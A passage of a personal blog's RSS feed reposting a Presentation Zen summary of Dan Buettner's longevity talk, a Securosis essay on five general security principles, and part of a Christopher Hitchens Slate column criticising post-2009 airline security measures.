			<link>http://www.bethlehem.eu/blog/2010/01/presentation-9-ways-to-live-better-longer-happier</link>
			<pubDate>Tue, 12 Jan 2010 13:31:33 +0000</pubDate>			<dc:creator>JF</dc:creator>
			<category domain="main">Uncategorized</category>			<guid isPermaLink="false">38@http://www.bethlehem.eu/blog/</guid>
						<description>&lt;p&gt;From &lt;a target=&quot;_blank&quot; href=&quot;http://www.presentationzen.com/presentationzen/2010/01/presentation-9-ways-to-live-better-longer-happier.html&quot;&gt;here&lt;/a&gt;:&lt;br /&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;entry-body __noscriptOpaqued__&quot;&gt; 			&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;&lt;a href=&quot;http://www.presentationzen.com/.a/6a00d83451b64669e20120a7c154d3970b-popup&quot; onclick=&quot;window.open( this.href, '_blank', 'width=640,height=480,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0' ); return false&quot; style=&quot;float: right;&quot;&gt;&lt;img alt=&quot;Beachwalk&quot; class=&quot;asset asset-image at-xid-6a00d83451b64669e20120a7c154d3970b &quot; src=&quot;http://www.presentationzen.com/.a/6a00d83451b64669e20120a7c154d3970b-200wi&quot; style=&quot;margin: 0px 0px 5px 5px; width: 175px;&quot; /&gt;&lt;/a&gt; Happy New Year, everyone. I hope 2010 is a healthy and meaningful one for you all. The new year is a time of new beginnings and promises to ourselves to be better in our personal and professional lives (It's also a time&lt;a href=&quot;http://garr.posterous.com/back-in-japan-went-to-the-local-shrine-to-pra&quot;&gt; to visit the local shrine&lt;/a&gt; here in Japan). So the first presentation I point to this year is one that has a message that is important no matter who you are or what kind of work you're engaged in. In&lt;a href=&quot;http://www.ted.com/talks/dan_buettner_how_to_live_to_be_100.html&quot;&gt; this TEDx talk &lt;/a&gt;below, National Geographic writer and explorer Dan Buettner shares what the world's longest-lived peoples have in common. Buettner condensed the findings into nine easy-to-remember lifestyle habits&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;. The presentation is good in terms of content and delivery; Buettner is an engaging figure. Visually, the presentation would be even better if he ditched that typical PowerPoint template in favor of slides with a dark background that fit the feel of his other visuals. However, except for that I really like the way he effortlessly mixes in high quality images and video to augment his narrative. You are starting to see more and more people now mix in full-screen video clips (with the audio removed) with other images&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt; while they tell their stories or share their evidence.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;Dan Buettner: How to live to be 100+&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;     &lt;br /&gt;&lt;p&gt;&amp;nbsp;&lt;a href=&quot;http://www.presentationzen.com/.a/6a00d83451b64669e2012876c37bb8970c-popup&quot; onclick=&quot;window.open( this.href, '_blank', 'width=640,height=480,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0' ); return false&quot; style=&quot;display: inline;&quot;&gt;&lt;img alt=&quot;Longevity_slide2&quot; class=&quot;asset asset-image at-xid-6a00d83451b64669e2012876c37bb8970c &quot; src=&quot;http://www.presentationzen.com/.a/6a00d83451b64669e2012876c37bb8970c-250wi&quot; style=&quot;width: 220px;&quot; /&gt;&lt;/a&gt;&lt;em&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;&amp;nbsp; &lt;a href=&quot;http://www.presentationzen.com/.a/6a00d83451b64669e2012876c3908e970c-popup&quot; onclick=&quot;window.open( this.href, '_blank', 'width=640,height=480,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0' ); return false&quot; style=&quot;display: inline;&quot;&gt;&lt;img alt=&quot;Longevity_slide_video&quot; class=&quot;asset asset-image at-xid-6a00d83451b64669e2012876c3908e970c &quot; src=&quot;http://www.presentationzen.com/.a/6a00d83451b64669e2012876c3908e970c-250wi&quot; style=&quot;width: 220px;&quot; /&gt;&lt;/a&gt; &lt;br /&gt;I'm not crazy about the typical PowerPoint template used in a few of the slides, but most of the time the screen was filled with full-screen images (Left) or video clips (Right) that were a good complement to the talk.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;In Sum&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;&lt;br /&gt;What are the common denominators running through the different cultures they studied? If you do not have time to watch the video, I summarized them below in my own words. You can go to the &lt;a href=&quot;http://www.bluezones.com/about&quot;&gt;Blue Zones website &lt;/a&gt;to get all the details.&lt;/span&gt;&lt;/p&gt;&lt;strong&gt;&lt;span style=&quot;color: rgb(255, 127, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 127, 0);&quot;&gt;Move Naturally &lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;(1) You don't need a formal, rigorous exercise plan. We're talking here a change in lifestyle that is fundamentally active. We're designed to move. We've not meant to drive 100 meters in a car to pick up chips at the local store. Walk, do yard work, whatever. Do exercises/activities that you enjoy.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;color: rgb(255, 127, 0);&quot;&gt;Have Right Outlook&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;(2) Slow down. When you're constantly in a hurry and stressed out, this has a negative impact on your health. Limiting negative stress is one of the healthiest things you can do for yourself.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;(3) Have a clear purpose. The Japanese call it &quot;ikigai&quot; ???? (&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;lit: life + value, be worth while)&lt;/span&gt;. You must have a passion, a calling, a purpose. There's got to be a reason to get out of bed every day.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;color: rgb(255, 127, 0);&quot;&gt;Eat Wisely&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;(4) Drink a little (wine) everyday.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;(5) Eat mainly plant-based foods. Small amounts of meat and fish are OK.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;(6) &lt;em&gt;Hara Hachi Bu:&lt;/em&gt; Eat until 80% full. Do not eat eat until you're stuffed. &lt;/span&gt;(&lt;a href=&quot;http://www.presentationzen.com/presentationzen/2007/06/one-secret-to-a.html&quot;&gt;I've talked about this many time before&lt;/a&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt; in the context of presentation.)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;color: rgb(255, 127, 0);&quot;&gt;Be Connected with others &lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;(7) Put family, loved ones first.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;(8) Belong to a community. Many in his study belonged to faith-based communities.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;(9) Belong to the right tribe. That is, hang out with people with healthy habits, physical and emotional ones.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;How to live a long, healthy life in one slide&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;Even nine recommendations can be hard to remember, so I simplified the advice down to five in this Keynote slide that capture the essence of the tips from &lt;/span&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;Dan Buettner's good TEDx &lt;/span&gt;&lt;span style=&quot;color: rgb(17, 17, 17);&quot;&gt;talk. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.presentationzen.com/.a/6a00d83451b64669e20120a7c16001970b-popup&quot; onclick=&quot;window.open( this.href, '_blank', 'width=640,height=480,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0' ); return false&quot; style=&quot;display: inline;&quot;&gt;&lt;img alt=&quot;Live2b100_slide.001&quot; class=&quot;asset asset-image at-xid-6a00d83451b64669e20120a7c16001970b &quot; src=&quot;http://www.presentationzen.com/.a/6a00d83451b64669e20120a7c16001970b-450wi&quot; style=&quot;width: 450px;&quot; /&gt;&lt;/a&gt; &lt;em&gt;&lt;br /&gt;(Click on image of slide for a larger size.)&lt;/em&gt;&lt;p&gt;&lt;em&gt;&lt;br /&gt;&lt;/em&gt;&lt;/p&gt; 		&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;zemanta-pixie&quot;&gt;&lt;img class=&quot;zemanta-pixie-img&quot; alt=&quot;&quot; src=&quot;http://img.zemanta.com/pixy.gif?x-id=a371d068-25c5-8c2f-943d-85071bceb0c6&quot; /&gt;&lt;/div&gt;</description>
			<content:encoded><![CDATA[<p>From <a target="_blank" href="http://www.presentationzen.com/presentationzen/2010/01/presentation-9-ways-to-live-better-longer-happier.html">here</a>:<br /></p><hr /><p><br /></p><div class="entry-body __noscriptOpaqued__"> 			<span style="color: rgb(17, 17, 17);"><a href="http://www.presentationzen.com/.a/6a00d83451b64669e20120a7c154d3970b-popup" onclick="window.open( this.href, '_blank', 'width=640,height=480,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0' ); return false" style="float: right;"><img alt="Beachwalk" class="asset asset-image at-xid-6a00d83451b64669e20120a7c154d3970b " src="http://www.presentationzen.com/.a/6a00d83451b64669e20120a7c154d3970b-200wi" style="margin: 0px 0px 5px 5px; width: 175px;" /></a> Happy New Year, everyone. I hope 2010 is a healthy and meaningful one for you all. The new year is a time of new beginnings and promises to ourselves to be better in our personal and professional lives (It's also a time<a href="http://garr.posterous.com/back-in-japan-went-to-the-local-shrine-to-pra"> to visit the local shrine</a> here in Japan). So the first presentation I point to this year is one that has a message that is important no matter who you are or what kind of work you're engaged in. In<a href="http://www.ted.com/talks/dan_buettner_how_to_live_to_be_100.html"> this TEDx talk </a>below, National Geographic writer and explorer Dan Buettner shares what the world's longest-lived peoples have in common. Buettner condensed the findings into nine easy-to-remember lifestyle habits<span style="color: rgb(17, 17, 17);">. The presentation is good in terms of content and delivery; Buettner is an engaging figure. Visually, the presentation would be even better if he ditched that typical PowerPoint template in favor of slides with a dark background that fit the feel of his other visuals. However, except for that I really like the way he effortlessly mixes in high quality images and video to augment his narrative. You are starting to see more and more people now mix in full-screen video clips (with the audio removed) with other images</span></span><span style="color: rgb(17, 17, 17);"> while they tell their stories or share their evidence.</span><br /><br /><strong><span style="color: rgb(17, 17, 17);">Dan Buettner: How to live to be 100+</span></strong><br />     <br /><p>&nbsp;<a href="http://www.presentationzen.com/.a/6a00d83451b64669e2012876c37bb8970c-popup" onclick="window.open( this.href, '_blank', 'width=640,height=480,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0' ); return false" style="display: inline;"><img alt="Longevity_slide2" class="asset asset-image at-xid-6a00d83451b64669e2012876c37bb8970c " src="http://www.presentationzen.com/.a/6a00d83451b64669e2012876c37bb8970c-250wi" style="width: 220px;" /></a><em><span style="color: rgb(17, 17, 17);">&nbsp; <a href="http://www.presentationzen.com/.a/6a00d83451b64669e2012876c3908e970c-popup" onclick="window.open( this.href, '_blank', 'width=640,height=480,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0' ); return false" style="display: inline;"><img alt="Longevity_slide_video" class="asset asset-image at-xid-6a00d83451b64669e2012876c3908e970c " src="http://www.presentationzen.com/.a/6a00d83451b64669e2012876c3908e970c-250wi" style="width: 220px;" /></a> <br />I'm not crazy about the typical PowerPoint template used in a few of the slides, but most of the time the screen was filled with full-screen images (Left) or video clips (Right) that were a good complement to the talk.<br /><br /></span></em><strong><span style="color: rgb(17, 17, 17);"><span style="color: rgb(17, 17, 17);">In Sum</span></span></strong><span style="color: rgb(17, 17, 17);"><br />What are the common denominators running through the different cultures they studied? If you do not have time to watch the video, I summarized them below in my own words. You can go to the <a href="http://www.bluezones.com/about">Blue Zones website </a>to get all the details.</span></p><strong><span style="color: rgb(255, 127, 0);"><span style="color: rgb(255, 127, 0);">Move Naturally </span></span></strong><br /><span style="color: rgb(17, 17, 17);">(1) You don't need a formal, rigorous exercise plan. We're talking here a change in lifestyle that is fundamentally active. We're designed to move. We've not meant to drive 100 meters in a car to pick up chips at the local store. Walk, do yard work, whatever. Do exercises/activities that you enjoy.</span><br /><br /><strong><span style="color: rgb(255, 127, 0);">Have Right Outlook</span></strong><br /><span style="color: rgb(17, 17, 17);">(2) Slow down. When you're constantly in a hurry and stressed out, this has a negative impact on your health. Limiting negative stress is one of the healthiest things you can do for yourself.</span><br /><span style="color: rgb(17, 17, 17);">(3) Have a clear purpose. The Japanese call it "ikigai" ???? (<span style="color: rgb(17, 17, 17);">lit: life + value, be worth while)</span>. You must have a passion, a calling, a purpose. There's got to be a reason to get out of bed every day.</span><br /><br /><strong><span style="color: rgb(255, 127, 0);">Eat Wisely</span></strong><br /><span style="color: rgb(17, 17, 17);">(4) Drink a little (wine) everyday.</span><br /><span style="color: rgb(17, 17, 17);">(5) Eat mainly plant-based foods. Small amounts of meat and fish are OK.</span><br /><span style="color: rgb(17, 17, 17);">(6) <em>Hara Hachi Bu:</em> Eat until 80% full. Do not eat eat until you're stuffed. </span>(<a href="http://www.presentationzen.com/presentationzen/2007/06/one-secret-to-a.html">I've talked about this many time before</a><span style="color: rgb(17, 17, 17);"> in the context of presentation.)</span><br /><br /><strong><span style="color: rgb(255, 127, 0);">Be Connected with others </span></strong><br /><span style="color: rgb(17, 17, 17);">(7) Put family, loved ones first.</span><br /><span style="color: rgb(17, 17, 17);">(8) Belong to a community. Many in his study belonged to faith-based communities.</span><br /><span style="color: rgb(17, 17, 17);">(9) Belong to the right tribe. That is, hang out with people with healthy habits, physical and emotional ones.</span><br /><br /><strong><span style="color: rgb(17, 17, 17);">How to live a long, healthy life in one slide</span></strong><br /><span style="color: rgb(17, 17, 17);">Even nine recommendations can be hard to remember, so I simplified the advice down to five in this Keynote slide that capture the essence of the tips from </span><span style="color: rgb(17, 17, 17);">Dan Buettner's good TEDx </span><span style="color: rgb(17, 17, 17);">talk. </span><br /><br /><a href="http://www.presentationzen.com/.a/6a00d83451b64669e20120a7c16001970b-popup" onclick="window.open( this.href, '_blank', 'width=640,height=480,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0' ); return false" style="display: inline;"><img alt="Live2b100_slide.001" class="asset asset-image at-xid-6a00d83451b64669e20120a7c16001970b " src="http://www.presentationzen.com/.a/6a00d83451b64669e20120a7c16001970b-450wi" style="width: 450px;" /></a> <em><br />(Click on image of slide for a larger size.)</em><p><em><br /></em></p> 		</div><p><br /><br /></p><div class="zemanta-pixie"><img class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=a371d068-25c5-8c2f-943d-85071bceb0c6" /></div>]]></content:encoded>
								<comments>http://www.bethlehem.eu/blog/2010/01/presentation-9-ways-to-live-better-longer-happier#comments</comments>
			<wfw:commentRss>http://www.bethlehem.eu/blog/?tempskin=_rss2&#38;disp=comments&#38;p=38</wfw:commentRss>
		</item>
				<item>
			<title>My Personal Security Guiding Principles</title>
			<link>http://www.bethlehem.eu/blog/2009/12/my-personal-security-guiding-principles</link>
			<pubDate>Wed, 30 Dec 2009 21:28:48 +0000</pubDate>			<dc:creator>JF</dc:creator>
			<category domain="main">Security</category>			<guid isPermaLink="false">37@http://www.bethlehem.eu/blog/</guid>
						<description>&lt;p&gt;
&lt;p&gt;From &lt;a href=&quot;http://securosis.com/blog/my-personal-security-guiding-principles/&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;-------------------------------&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;Fall of 2009 marks the 20th anniversary of the start of my professional security career. That was the first day someone stuck a yellow shirt on my back and sent me into a crowd of drunk college football fans at the University of Colorado (later famous for its student riots). I'm pretty sure someone screwed up, since it was my first day on the job and I was assigned a rover position -- which normally goes to someone who knows what the f&amp;amp;%$ they are doing, not some 18 year old, 135-lb kid right out of high school. And yes, I was breaking up fights on my first day (the stadium wasn't dry until a few years later).&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;If you asked me then, I never would have guessed I'd spend the next couple decades working through the security ranks, eventually letting my teenage geek/hacker side take over. Over that time I've come to rely on the following guiding principles in everything from designing my personal security to giving advice to clients:&lt;/p&gt;&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Don't expect human behavior to change. Ever.&lt;/li&gt;
&lt;li&gt;You cannot survive with defense alone.&lt;/li&gt;
&lt;li&gt;Not all threats are equal, and all checklists are wrong.&lt;/li&gt;
&lt;li&gt;You cannot eliminate all vulnerabilities.&lt;/li&gt;
&lt;li&gt;You will be breached.&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
&lt;p&gt;There's a positive side to each of these negative principles:&lt;/p&gt;&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Design security controls that account for human behavior. Study cognitive science and practical psychology to support your decisions. This is also critical for gaining support for security initiatives, not just design of individual controls.&lt;/li&gt;
&lt;li&gt;Engage in intelligence and counter-threat operations to the best of your ability. Once an attack has started, your first line of security has already failed.&lt;/li&gt;
&lt;li&gt;Use checklists to remember the simple stuff, but any real security must be designed using a risk-based approach. As a corollary, you can't implement risk-based security if you don't&amp;#160;&lt;em&gt;really&lt;/em&gt;understand the risks; and most people don't understand the risks. Be the expert.&lt;/li&gt;
&lt;li&gt;Adopt anti-exploitation wherever possible. Vulnerability-driven security is always behind the threat.&lt;/li&gt;
&lt;li&gt;React&amp;#160;&lt;strong&gt;faster&lt;/strong&gt; and&amp;#160;&lt;strong&gt;better&lt;/strong&gt;. Incident response is more important than any other single security control.&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
&lt;p&gt;With one final piece of advice -- keep it simple and pragmatic.&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;And after 20 years, that's all I've got...&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;&amp;#8212;Rich&lt;/p&gt;
&lt;/p&gt;</description>
			<content:encoded><![CDATA[<p>
<p>From <a href="http://securosis.com/blog/my-personal-security-guiding-principles/">here</a>:</p><br />
<p>-------------------------------</p><br />
<p>Fall of 2009 marks the 20th anniversary of the start of my professional security career. That was the first day someone stuck a yellow shirt on my back and sent me into a crowd of drunk college football fans at the University of Colorado (later famous for its student riots). I'm pretty sure someone screwed up, since it was my first day on the job and I was assigned a rover position -- which normally goes to someone who knows what the f&amp;%$ they are doing, not some 18 year old, 135-lb kid right out of high school. And yes, I was breaking up fights on my first day (the stadium wasn't dry until a few years later).</p><br />
<p>If you asked me then, I never would have guessed I'd spend the next couple decades working through the security ranks, eventually letting my teenage geek/hacker side take over. Over that time I've come to rely on the following guiding principles in everything from designing my personal security to giving advice to clients:</p><br />
<ol>
<li>Don't expect human behavior to change. Ever.</li>
<li>You cannot survive with defense alone.</li>
<li>Not all threats are equal, and all checklists are wrong.</li>
<li>You cannot eliminate all vulnerabilities.</li>
<li>You will be breached.</li>
</ol><br />
<p>There's a positive side to each of these negative principles:</p><br />
<ol>
<li>Design security controls that account for human behavior. Study cognitive science and practical psychology to support your decisions. This is also critical for gaining support for security initiatives, not just design of individual controls.</li>
<li>Engage in intelligence and counter-threat operations to the best of your ability. Once an attack has started, your first line of security has already failed.</li>
<li>Use checklists to remember the simple stuff, but any real security must be designed using a risk-based approach. As a corollary, you can't implement risk-based security if you don't&#160;<em>really</em>understand the risks; and most people don't understand the risks. Be the expert.</li>
<li>Adopt anti-exploitation wherever possible. Vulnerability-driven security is always behind the threat.</li>
<li>React&#160;<strong>faster</strong> and&#160;<strong>better</strong>. Incident response is more important than any other single security control.</li>
</ol><br />
<p>With one final piece of advice -- keep it simple and pragmatic.</p><br />
<p>And after 20 years, that's all I've got...</p><br />
<p>&#8212;Rich</p>
</p>]]></content:encoded>
								<comments>http://www.bethlehem.eu/blog/2009/12/my-personal-security-guiding-principles#comments</comments>
			<wfw:commentRss>http://www.bethlehem.eu/blog/?tempskin=_rss2&#38;disp=comments&#38;p=37</wfw:commentRss>
		</item>
				<item>
			<title>Flying high</title>
			<link>http://www.bethlehem.eu/blog/2009/12/flying-high</link>
			<pubDate>Tue, 29 Dec 2009 16:15:15 +0000</pubDate>			<dc:creator>JF</dc:creator>
			<category domain="main">Family</category>			<guid isPermaLink="false">36@http://www.bethlehem.eu/blog/</guid>
						<description>&lt;p&gt;Very interesting post from &lt;a href=&quot;http://www.slate.com/id/2239935&quot;&gt;Slate magazine&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;Why are we so bad at detecting the guilty and so good at collective punishment of the innocent?&lt;/p&gt;
&lt;div id=&quot;article_top&quot;&gt;&lt;span class=&quot;byline&quot;&gt;By Christopher Hitchens&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span class=&quot;dateline&quot;&gt;Posted Monday, Dec. 28, 2009, at 12:03 PM ET&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;article_body&quot;&gt;
&lt;div&gt;&lt;/div&gt;
&lt;p&gt;&lt;span class=&quot;imagewrapper&quot;&gt;&lt;label class=&quot;caption&quot;&gt;Delta jets at Detroit Metropolitan airport&lt;/label&gt;&lt;/span&gt;It's getting to the point where the twin news stories more or less write themselves. No sooner is the fanatical and homicidal Muslim arrested than it turns out that he (it won't be long until it is also she) has been known to the authorities for a long time. But somehow the watch list, the tipoff, the many worried reports from colleagues and relatives, the placing of the name on a &quot;&lt;a href=&quot;http://www.nytimes.com/2009/12/27/us/27terror.html&quot; target=&quot;_blank&quot;&gt;central repository of information&lt;/a&gt;&quot; don't prevent the suspect from boarding a plane, changing planes, or bringing whatever he cares to bring onto a plane. This is now a tradition that stretches back to several of the murderers who boarded civilian aircraft on Sept. 11, 2001, having called attention to themselves by either a) being on watch lists already or b) weird behavior at heartland American flight schools. They didn't even bother to change their names.&lt;/p&gt;
&lt;div id=&quot;toolbox&quot;&gt;So that's now more or less the routine for the guilty. (I am not making any presumption of innocence concerning Umar Farouk Abdulmutallab.) But flick your eye across the page, or down it, and you will instantly see a different imperative for the innocent. &quot;&lt;a href=&quot;http://www.nytimes.com/2009/12/27/us/27security.html?scp=4&amp;amp;sq=micheline%20maynard&amp;amp;st=cse&quot; target=&quot;_blank&quot;&gt;New Restrictions Quickly Added for Travelers&lt;/a&gt;,&quot; reads the inevitable headline just below the report on the notoriety of Abdulmutallab, whose own father had been sufficiently alarmed to&amp;#160;&lt;a href=&quot;http://www.washingtonpost.com/wp-dyn/content/story/2009/12/28/ST2009122800703.html?sid=ST2009122800703&quot; target=&quot;_blank&quot;&gt;report his son&lt;/a&gt;to the U.S. Embassy in Abuja, Nigeria, some time ago. (By the way, I make a safe prediction: Nobody in that embassy or anywhere else in our national security system will lose his or her job as a consequence of this most recent disgrace.)&lt;/div&gt;
&lt;p&gt;In my boyhood, there were signs on English buses that declared, in bold letters, &quot;No Spitting.&quot; At a tender age, I was able to work out that most people don't need to be told this, while those who do feel a desire to expectorate on public transport will require more discouragement than a mere sign. But I'd be wasting my time pointing this out to our majestic and sleepless protectors, who now boldly propose to prevent airline passengers from getting out of their seats for the last hour of any flight. Abdulmutallab made his bid in the last hour of&amp;#160;&lt;em&gt;his&lt;/em&gt; flight, after all. Yes, that ought to do it. It's also incredibly, nay, almost diabolically clever of our guardians to let it be known what the precise time limit will be. Oh, and by the way, any passenger courageous or resourceful enough to stand up and fight back will also have broken the brave new law.&lt;/p&gt;
&lt;p&gt;For some years after 9/11, passengers were forbidden to get up and use the lavatory on the Washington-New York shuttle. Zero tolerance! I suppose it must eventually have occurred to somebody that this ban would not deter a person who was willing to die, so the rule was scrapped. But now the principle has been revisited for international flights. For many years after&amp;#160;&lt;a href=&quot;http://en.wikipedia.org/wiki/TWA_Flight_800&quot; target=&quot;_blank&quot;&gt;the explosion of the TWA plane over Long Island&lt;/a&gt; (a disaster that was later found to have nothing at all to do with international religious nihilism), you could not board an aircraft without being asked whether you had packed your own bags and had them under your control at all times. These two questions are the very ones to which a would-be hijacker or bomber would honestly and logically&amp;#160;&lt;em&gt;have&lt;/em&gt; to answer &quot;yes.&quot; But answering &quot;yes&quot; to both was a condition of being allowed on the plane! Eventually, that heroic piece of stupidity was dropped as well. But now fresh idiocies are in store. Nothing in your lap during final approach. Do you feel safer? If you were a suicide-killer, would you feel thwarted or deterred?&lt;/p&gt;
&lt;p&gt;Why do we fail to detect or defeat the guilty, and why do we do so well at collective punishment of the innocent? The answer to the first question is: Because we can't&amp;#8212;or won't. The answer to the second question is: Because we can. The fault here is not just with our endlessly incompetent security services, who give the benefit of the doubt to people who should have been arrested long ago or at least had their visas and travel rights revoked. It is also with a public opinion that sheepishly bleats to be made to &quot;feel safe.&quot; The demand to satisfy that sad illusion can be met with relative ease if you pay enough people to stand around and stare significantly at the citizens' toothpaste. My impression as a frequent traveler is that intelligent Americans fail to protest at this inanity in case it is they who attract attention and end up on a no-fly list instead. Perfect.&lt;/p&gt;
&lt;p&gt;It was reported over the weekend that in the aftermath of the Detroit fiasco, no official decision was made about whether to raise the designated &quot;threat level&quot; from orange. Orange! Could this possibly be because it would be panicky and ridiculous to change it to red and really, really absurd to lower it to yellow? But isn't it just as preposterous (and revealing), immediately after a known Muslim extremist has waltzed through every flimsy barrier, to leave it just where it was the day before?&lt;/p&gt;
&lt;p&gt;What nobody in authority thinks us grown-up enough to be told is this: We had better get used to being the civilians who are under a relentless and planned assault from the pledged supporters of a wicked theocratic ideology. These people will kill themselves to attack hotels, weddings, buses, subways, cinemas, and trains. They consider Jews, Christians, Hindus, women, homosexuals, and dissident Muslims (to give only the main instances) to be divinely mandated slaughter victims. Our civil aviation is only the most psychologically frightening symbol of a plethora of potential targets. The future murderers will generally not be from refugee camps or slums (though they are being indoctrinated every day in our prisons); they will frequently be from educated backgrounds, and they will often not be from overseas at all. They are already in our suburbs and even in our military. We can expect to take casualties. The battle will go on for the rest of our lives. Those who plan our destruction know what they want, and they are prepared to kill and die for it. Those who don't get the point prefer to whine about &quot;endless war,&quot; accidentally speaking the truth about something of which the attempted Christmas bombing over Michigan was only a foretaste. While we fumble with bureaucracy and euphemism, they are flying high.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;#160;&lt;/p&gt;</description>
			<content:encoded><![CDATA[<p>Very interesting post from <a href="http://www.slate.com/id/2239935">Slate magazine</a>:</p>
<p>Why are we so bad at detecting the guilty and so good at collective punishment of the innocent?</p>
<div id="article_top"><span class="byline">By Christopher Hitchens</span></div>
<div><span class="dateline">Posted Monday, Dec. 28, 2009, at 12:03 PM ET</span></div>
<div id="article_body">
<div></div>
<p><span class="imagewrapper"><label class="caption">Delta jets at Detroit Metropolitan airport</label></span>It's getting to the point where the twin news stories more or less write themselves. No sooner is the fanatical and homicidal Muslim arrested than it turns out that he (it won't be long until it is also she) has been known to the authorities for a long time. But somehow the watch list, the tipoff, the many worried reports from colleagues and relatives, the placing of the name on a "<a href="http://www.nytimes.com/2009/12/27/us/27terror.html" target="_blank">central repository of information</a>" don't prevent the suspect from boarding a plane, changing planes, or bringing whatever he cares to bring onto a plane. This is now a tradition that stretches back to several of the murderers who boarded civilian aircraft on Sept. 11, 2001, having called attention to themselves by either a) being on watch lists already or b) weird behavior at heartland American flight schools. They didn't even bother to change their names.</p>
<div id="toolbox">So that's now more or less the routine for the guilty. (I am not making any presumption of innocence concerning Umar Farouk Abdulmutallab.) But flick your eye across the page, or down it, and you will instantly see a different imperative for the innocent. "<a href="http://www.nytimes.com/2009/12/27/us/27security.html?scp=4&amp;sq=micheline%20maynard&amp;st=cse" target="_blank">New Restrictions Quickly Added for Travelers</a>," reads the inevitable headline just below the report on the notoriety of Abdulmutallab, whose own father had been sufficiently alarmed to&#160;<a href="http://www.washingtonpost.com/wp-dyn/content/story/2009/12/28/ST2009122800703.html?sid=ST2009122800703" target="_blank">report his son</a>to the U.S. Embassy in Abuja, Nigeria, some time ago. (By the way, I make a safe prediction: Nobody in that embassy or anywhere else in our national security system will lose his or her job as a consequence of this most recent disgrace.)</div>
<p>In my boyhood, there were signs on English buses that declared, in bold letters, "No Spitting." At a tender age, I was able to work out that most people don't need to be told this, while those who do feel a desire to expectorate on public transport will require more discouragement than a mere sign. But I'd be wasting my time pointing this out to our majestic and sleepless protectors, who now boldly propose to prevent airline passengers from getting out of their seats for the last hour of any flight. Abdulmutallab made his bid in the last hour of&#160;<em>his</em> flight, after all. Yes, that ought to do it. It's also incredibly, nay, almost diabolically clever of our guardians to let it be known what the precise time limit will be. Oh, and by the way, any passenger courageous or resourceful enough to stand up and fight back will also have broken the brave new law.</p>
